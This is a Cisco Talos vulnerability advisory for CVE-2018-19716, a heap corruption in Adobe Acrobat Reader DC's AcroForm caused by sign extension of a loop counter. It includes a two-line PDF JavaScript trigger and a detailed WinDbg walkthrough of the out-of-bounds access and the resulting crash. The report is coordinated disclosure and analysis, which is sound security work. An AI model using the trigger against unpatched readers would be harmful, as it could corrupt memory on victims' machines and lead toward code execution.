Talos Vulnerability Report

TALOS-2018-0704

Adobe Acrobat Reader DC Text Field Value Remote Code Execution Vulnerability

December 11, 2018
CVE Number

CVE-2018-19716

Summary

A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC 2019.8.20071. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2019.8.20071

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-194: Unexpected Sign Extension

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.

An incorrect integer size promotion leads to heap corruption while executing the following code:

var r = new RegExp(Array(32769).join(String.fromCharCode(24)));
app.activeDocs[0].getField('mydata')['value'] = r;

In the above code, creating a regular expression with a very large string value results in an allocation of a large chunk of memory. The corruption happens due to specific size of allocated memory while executing the second line. If we place a breakpoint at AcroForm!DllUnregisterServer+0x130390 we can observe the following:

Breakpoint 5 hit
eax=00008000 ebx=00000000 ecx=00000000 edx=00000001 esi=0a2b28c0 edi=00000000
eip=6957aa79 esp=00cfbc08 ebp=00cfbc64 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
AcroForm!DllUnregisterServer+0x130390:
6957aa79 6bc914          imul    ecx,ecx,14h
1:009> uu eip 
AcroForm!DllUnregisterServer+0x130390:
6957aa79 6bc914          imul    ecx,ecx,14h                                            [1]
6957aa7c 895dd0          mov     dword ptr [ebp-30h],ebx
6957aa7f 034db8          add     ecx,dword ptr [ebp-48h]                                [2]
6957aa82 395908          cmp     dword ptr [ecx+8],ebx
6957aa85 7e17            jle     AcroForm!DllUnregisterServer+0x1303b5 (6957aa9e)
6957aa87 8bf3            mov     esi,ebx
6957aa89 8b4104          mov     eax,dword ptr [ecx+4]
6957aa8c 66291470        sub     word ptr [eax+esi*2],dx
1:009> uu
AcroForm!DllUnregisterServer+0x1303a7:
6957aa90 43              inc     ebx
6957aa91 0fbff3          movsx   esi,bx
6957aa94 3b7108          cmp     esi,dword ptr [ecx+8]
6957aa97 7cf0            jl      AcroForm!DllUnregisterServer+0x1303a0 (6957aa89)
6957aa99 8b45bc          mov     eax,dword ptr [ebp-44h]
6957aa9c 33db            xor     ebx,ebx
6957aa9e 47              inc     edi                                                    [3]
6957aa9f 0fbfcf          movsx   ecx,di                                                 [4]
1:009> uu
AcroForm!DllUnregisterServer+0x1303b9:
6957aaa2 3bc8            cmp     ecx,eax                                                [5]
6957aaa4 7cd3            jl      AcroForm!DllUnregisterServer+0x130390 (6957aa79)
6957aaa6 8b7dd4          mov     edi,dword ptr [ebp-2Ch]
6957aaa9 8b75dc          mov     esi,dword ptr [ebp-24h]
6957aaac a188b1d169      mov     eax,dword ptr [AcroForm!DllUnregisterServer+0x8d0a9f (69d1b188)]
6957aab1 68e1932c69      push    offset AcroForm!PlugInMain+0x7bf35 (692c93e1)
6957aab6 53              push    ebx
6957aab7 895de4          mov     dword ptr [ebp-1Ch],ebx
1:009> dd ebp-0x48
00cfbc1c  0b7a0020 00008000 0a79a4f4 00007ffe
00cfbc2c  0a6e7c30 0a038950 00000000 0a038950
00cfbc3c  00000001 0a2b28c0 00000001 00008000
00cfbc4c  00008001 00007ffe 00cfbc08 00cfbce8
00cfbc5c  698625d9 ffffffff 00cfbc70 6957bc00
00cfbc6c  00cfc0e0 00000000 69375b0c 00cfc110
00cfbc7c  00cfc0d8 00cfc0d8 00cfbcf4 00cfc4f8
00cfbc8c  69375938 00cfc380 00cfc384 5a92c663
1:009> !heap -p -a poi(ebp-0x48)                                                        [6]
    address 0b7a0020 found in
    _HEAP @ 200000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0b7a0018 14200 0000  [00]   0b7a0020    a0000 - (busy VirtualAlloc)

In the above debugging output at [1] we can see ecx being used as an index into a structure, each time multiplied by 0x14. Then at [2] a base address of the structure is added to ecx from ebp-0x48. Few operations are performed with this address into the structure and then at [3] we see edi, which is used as a counter, increased and then immediately sign-extended into ecx at [4] and then compared against loop max value in eax at [5]. From heap debugging output we can see that the size of structure is 0xa0000 or 655360 bytes which corresponds to 20 times 32768, or 0x14 times 0x8000. Recall the size of string passed to regular expression constructor. Value of loop guard, eax at [5], shows it to be 0x8000 which would limit the number of loop executions and contain memory accesses to the limits of the structure. The vulnerability lies in the fact that loop counter value in di is sign extended into ecx at [4]. If we continue the execution for 0x8000 loops, we can see the following:

1:009> bp AcroForm!DllUnregisterServer+0x130390 0x7fff
breakpoint 5 redefined
1:009> g
Breakpoint 5 hit
eax=00008000 ebx=00000000 ecx=00007fff edx=00000001 esi=00000001 edi=00007fff
eip=6957aa79 esp=00cfbc08 ebp=00cfbc64 iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000287
AcroForm!DllUnregisterServer+0x130390:
6957aa79 6bc914          imul    ecx,ecx,14h
1:009> t
...
1:009> t
eax=00008000 ebx=00000000 ecx=0b84000c edx=00000001 esi=00000001 edi=00008000
eip=6957aa9f esp=00cfbc08 ebp=00cfbc64 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
AcroForm!DllUnregisterServer+0x1303b6:
6957aa9f 0fbfcf          movsx   ecx,di                                                 [7]
1:009> t 
eax=00008000 ebx=00000000 ecx=ffff8000 edx=00000001 esi=00000001 edi=00008000
eip=6957aaa2 esp=00cfbc08 ebp=00cfbc64 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
AcroForm!DllUnregisterServer+0x1303b9:
6957aaa2 3bc8            cmp     ecx,eax                                                [8]

Continuing the execution above to the point where the counter in edi is incremented past the size of 0x8000, we see at [7] that sign extension turns ecx into 0xffff8000 , instead of 0x8000 as is expected by the comparison at [8]. Comparison between signed and unsigned values in ecx and eax results in a wrong jump and the loop continues execution, accessing out of bound memory and causing further heap corruption.

Continuing the execution in this case results in the following crash:

1:009> bd 5
1:009> g
(1120.1990): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008000 ebx=00000000 ecx=0b793000 edx=00000001 esi=00000001 edi=0000f598
eip=6957aa82 esp=00cfbc08 ebp=00cfbc64 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
AcroForm!DllUnregisterServer+0x130399:
6957aa82 395908          cmp     dword ptr [ecx+8],ebx ds:002b:0b793008=????????

As we can tell from the value in edi above, the loop continued accessing out of bounds memory until it hit an unallocated page. By precisely controlling the contents of the memory directly adjacent to the large chunk of memory allocated by the regular expression object, it is possible to further corrupt the heap which could possibly result in arbitrary code execution.

Timeline

2018-11-05 - Vendor Disclosure
2018-12-11 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.